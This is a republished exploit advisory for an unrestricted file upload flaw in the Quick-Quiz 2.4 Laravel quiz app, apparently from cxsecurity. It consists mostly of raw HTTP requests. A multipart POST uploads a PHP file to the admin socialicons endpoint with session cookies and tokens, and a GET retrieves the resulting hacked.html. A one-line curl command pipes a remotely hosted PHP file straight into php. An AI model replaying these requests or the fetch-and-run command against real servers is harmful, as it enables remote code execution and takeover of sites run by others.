Quick-Quiz-2.4 File Upload - RCE
2023-12-4 05:25:37 Author: cxsecurity.com(查看原文) 阅读量:17 收藏

Quick-Quiz-2.4 File Upload - RCE

## Title: Quick-Quiz-2.4 File Upload - RCE ## Author: nu11secur1ty ## Date: 12/02/2023 ## Vendor: https://mediacity.co.in/mediacity/ ## Software: https://codecanyon.net/item/quick-quiz-laravel-quiz-and-exam-system/21117633?s_rank=14 ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The "socialicons" section uploading function is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a php exploit that makes a hacked.html file with a link, which is absolutely DANGER! =) I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit execution: ```curl curl -s https://intouch.mediacity.co.in/public/images/general/1701173124_favicon_rapist.php | php ``` [+] Uploading of the rapist.php exploit: ```PHP POST /public/admin/moresettings/socialicons/insert HTTP/2 Host: quickquiz.mediacity.co.in Cookie: _ga=GA1.3.241515555.1701243451; XSRF-TOKEN=eyJpdiI6ImsrWGdKM2ovUW9MVjB4NFlIQU5FdlE9PSIsInZhbHVlIjoiUlhjdDBKK1JndUNjWWVFMmYrSVVRT0xlSGxaOEhNOHgzcjFJMTcwaWxPbkNORDN1V2JHdEk3cHJwRmlyOEg2YUNONjhPWGJmWG5mNEVPMlQxRzNUZEYvbVhQS2VhTkJkdmNTWWNDdTNWVURhWGVxU0hTdCtHWDVMN2p2N0MzWWMiLCJtYWMiOiI4NjllYmNkM2I5OWQzNDQ5Mzk5MTUyYzUyNmRjMzAwYjAyNjI1ODgzODAwNDU0NzRiMmQ5NDVjNWYzYmU1ZWU5IiwidGFnIjoiIn0%3D; quickquiz_session=eyJpdiI6IlZ2VFJVMEU2ZmdDWVhyQVlwWUJDL2c9PSIsInZhbHVlIjoiZFozRTRNNzFNR0NXWThEYjRQZkdTV2pMLzJJSTZVSXpNZU9DeXV3SCtSOXc5bGhCR2lEblluNFJ6WmppZUlpY2lzNE9wNkJ0eWRpTmhpSzE2cnZNRkowZGxSUnM2U09NNklsQnRsSnBlMGFWSit2dVYySGVndzUwWVlReHZXV0siLCJtYWMiOiJlNThmYmNiYzY2Y2IxMjAxNzBlNjQ0NDRlOTYwOGYzNWVkMjdmZGM1ZmJjMmRlYWMyMzM0OTgxOWVkZmUxYzI1IiwidGFnIjoiIn0%3D Content-Length: 1033 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://quickquiz.mediacity.co.in Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9DBKcGjnaG9bpo8o User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://quickquiz.mediacity.co.in/public/admin/moresettings/socialicons Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i ------WebKitFormBoundary9DBKcGjnaG9bpo8o Content-Disposition: form-data; name="_token" pyqL5WUdCpLSCb4bExZC1I17FR3gQJuA5swv1wl1 ------WebKitFormBoundary9DBKcGjnaG9bpo8o Content-Disposition: form-data; name="title" rapist ------WebKitFormBoundary9DBKcGjnaG9bpo8o Content-Disposition: form-data; name="url" https://www.nu11secur1ty.com/ ------WebKitFormBoundary9DBKcGjnaG9bpo8o Content-Disposition: form-data; name="icon"; filename="rapist.php" Content-Type: application/octet-stream <?php // @nu11secur1ty 2023 // The exploit price is $9000 ?> ------WebKitFormBoundary9DBKcGjnaG9bpo8o Content-Disposition: form-data; name="status" on ------WebKitFormBoundary9DBKcGjnaG9bpo8o-- ``` [+]The request from already creating HTML exploit, building by rapist.php - the File Upload Vulnerability uploaded exploit: ```html ``` [+]Response from hacked.html exploit: ```HTML GET /public/images/socialicons/hacked.html HTTP/2 Host: quickquiz.mediacity.co.in Cookie: _ga=GA1.3.241515555.1701243451; XSRF-TOKEN=eyJpdiI6ImxUM3U5ZkFmVVVxZy9MZWRoRlRCOFE9PSIsInZhbHVlIjoiL3VIUmJ3RzEvN2Z4dGU1aXEzb1JNZFRnL3IrZUI3TW1vUHM5TkVEU1J4Qk5Kai9OUCs2aXlHSE02VThxVTR5VkdUQzZpUU90ekRnKzFUSEJ2Tkl4eTJJQktXSXIrZmRWSFM0ZG5GWms2cWdVa2hZenplQkxtZmlCWm9FMlFTYnkiLCJtYWMiOiJjZDRmYTM2ZDllODZmMDVmODY5MDE3YjRlOWMyNjU1YjU0NDM3Mzk3MmY3ZDIxNDVjNjczNDViN2MwOTFkNzkxIiwidGFnIjoiIn0%3D; quickquiz_session=eyJpdiI6IjlVMlFDc0MrTTcyVnkxTFRLRVdjWmc9PSIsInZhbHVlIjoiNjlNR01aWHI5ZGZseHpmbVZhOHhQa1lndFdlcW9kNHJjN1BMUGlMdjlUbUExdmliUUlHb2pFTkdlU0RxZWNkdkRBT0c2RVk2RjNoWjlERCt5YWtNVDlxL05VWGZJbWY0RlV1WjdmUWlGWElzK1JuaFBLRVd6Y0k3RGRIK3hNdEciLCJtYWMiOiI5OGY4ZGVlYTI4ZWVjNTYxNzM0ZmM4MmNmNDc3YWQ1NThkMzIwYmJmMzgzMDEzYWRlMzU3ZWYyNmZiMGUxZDY5IiwidGFnIjoiIn0%3D Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/media-city/Quick-Quiz-2.4) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/12/quick-quiz-24-file-upload-rce.html) ## Time spent: 00:17:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2023120005
如有侵权请联系:admin#unsafe.sh